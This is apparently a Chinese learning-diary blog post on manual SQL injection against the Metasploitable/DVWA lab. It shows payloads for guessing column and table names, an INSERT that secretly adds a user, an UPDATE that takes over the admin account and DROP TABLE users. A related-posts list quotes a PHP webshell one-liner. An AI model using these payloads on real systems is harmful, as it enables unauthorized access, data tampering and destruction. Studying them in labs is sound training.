小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入
SQL手工注入
靶机:metasploitable(低)
1、当无权读取infomation_schema库【MySQL最重要的源数据库,必须有root权限】/拒绝union、order by语句

#若不为root
a.猜列名: ' and coclumn is null--+ 【并且列有一个字段为空,正常执行,若没有空字段,且该列存在,返回空白内容;若列不存在,则报错】(可确定语句可插入数据库运行)
例如:' and asd is null--+ 
使用kali集成的字典文件

#对字典中以#号开头的行过滤【cat common-colums.txt | grep -V ^# > column.txt】
BurpSuite自动猜列名(使用字典文件)【不一定是全部列】
#也可通过返回的长度(length)来筛选


b.猜测当前表名: ' and table.user is null--+ 【(user为已确定存在列名)如果列有字段为空,返回表名,若没有空字段,不会返回结果,若表名不存在,会报错】
#还可通过db.table.user猜测数据库名称【同样的方法】
kali中查找表名集成文件

cat /usr/share/golismero/tools/sqlmap/txt/common-tables.txt | grep -v ^# > table.txt

#通常来说,表名应该只有一个,不排除存在其他表名
c.猜测库里其他表: ' and (select count(*) from table)>0--+ 【统计表中记录,若大于0,表名存在,可能直接爆出库名和表名】
#同上,使用burpsuite
d.列表对应关系: ' and users.user is null--+
#通过上述方法,整理出已知列名文件
e.猜字段内容:
' or user='admin 【后面为真,则显示,证明该内容存在】
' or user like '%a% 【通配符,只要字段中包含a,则显示】
f.猜账号对应密码: 'or user='admin' and password='1h29rwg27g9agf9291r9
#可使用md5sum命令进行加密
2、当数据库可写入【前提,数据库配置的权限足够】
a. ';update users set user='root' where user='admin' 【直接修改其账号/密码(密码为自己设定的密码的MD5值)将admin更新为root】
#但是在dvwa中无法运行该语句,是sql客户端的问题代码存在问题,导致注入失败【原因】
数据库密码破解程序HexoBase,同时也是数据库连接的客户端程序

b.'; INSERT INTO users (' user_id',' first_name',' last_name','user','password','avatar') VALUES('35','fh','root','toor','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+ 【插入:添加一个新用户,可隐秘行事】
c.DROP TABLE users;-- 【删除表】
#利用数据库管理系统中默认的存储过程进行注入 【xp_cmdshell /存储过程】
#SQL注入没有通用的方法,掌握原理,了解各种数据库特性
3、SQL注入难度提升讲解
low

medium

代码分析:$id:该变量不需要使用单引号闭合,也不需要使用--进行注释,所以注入之前中已不需要加单引号进行,过滤函数已为多余
#mysql_real_escape_string() 【php5.5.0已经弃用该函数,PHP 7.0.0已经删除该函数,使用MySQLi、PDO_MySQL代替】
转义函数,对以下下列字符转义

High

小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入的更多相关文章
- 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法
SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...
- 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto
扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...
- 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish
WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...
- 小白日记33:kali渗透测试之Web渗透-扫描工具-Burpsuite(一)
扫描工具-Burpsuite Burp Suite是Web应用程序测试的最佳工具之一,成为web安全工具中的瑞士军刀.其多种功能可以帮我们执行各种任务.请求的拦截和修改,扫描web应用程序漏洞,以暴力 ...
- 小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET
SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ...
- Kali学习笔记39:SQL手工注入(1)
终于到了SQL注入 最大的.最经典的.最常见的Web漏洞就是SQL注入漏洞 SQL注入的原理这里就不说了,百度 打开DVWA,SQL注入测试模块 测试单引号,发现出错,于是想到测试语句: 1' or ...
- 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)
webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...
- 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)
补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...
- 小白日记52:kali渗透测试之Web渗透-HTTPS攻击(Openssl、sslscan、sslyze、检查SSL的网站)
HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HT ...
随机推荐
- VB IE 清除历史记录
VB删除Cookie,仅适用于IE7版本 IE7版本为我们提供了命令行删除Cookie,清除临时文件缓存,清除历史记录表单的方法,下面是详细的命令运行方式. '注:以下代码仅支持IE7. '清除Int ...
- jquery validate easyui tooltip
jquery validate.js onfocusin: function (element, event) { this.lastActive = element; // hide error l ...
- bashrc的加载
无意中将home下的所有文件都删除了,一些配置文件都丢了. 重新登陆后,发现无法加载bashrc. 查找后,发现问题不在于bashrc,而在与.bash_profile丢失 login shell m ...
- Java设计模式系列之动态代理模式(转载)
代理设计模式 定义:为其他对象提供一种代理以控制对这个对象的访问. 动态代理使用 java动态代理机制以巧妙的方式实现了代理模式的设计理念. 代理模式示例代码 public interface Sub ...
- PC问题-(仅供备用)取消磁盘的自动扫描
问题现象:有一次整个单位停电了,之后再开机,每次电脑都自检.现在不想让电脑自检了. 问题原因:可能是因为停电,造成了系统文件的破坏. 问题处理:禁用电脑自检功能(注册表方法). Windows Reg ...
- Educational Codeforces Round 10 D. Nested Segments (树状数组)
题目链接:http://codeforces.com/problemset/problem/652/D 给你n个不同的区间,L或者R不会出现相同的数字,问你每一个区间包含多少个区间. 我是先把每个区间 ...
- 语义Web和本体开发相关技术
在技术实现方面,语义Web和本体理论的研究日趋成熟,已经有许多成熟的工具或程序接口,诸如Jena.OWL API等API是系统实现的关键技术.这里介绍系统的可行性分析以及系统开发设计的关键技术. 1 ...
- shell脚本的入参
shell脚本参数可以任意多,但只有前9个可以被访问,使用shift命令可以改变这个限制.参数从第一个开始,在第九个结束.$0 程序名字$n 第n个参数值,n=1..9 $* 所有命令行参数$@ ...
- AngularJS应用的解析
模板(Templates) 模板是您用HTML和CSS编写的文件,展现应用的视图. 您可给HTML添加新的元素.属性标记,作为AngularJS编译器的指令. AngularJS编译器是完全可扩展的, ...
- Get-ChildItem参数之 -Exclude,Filter,Recurse应用
$p = "D:\PSScript" gci $p -Exclude "UpdateLog" #排除子目录"UpdateLog",但是后面不 ...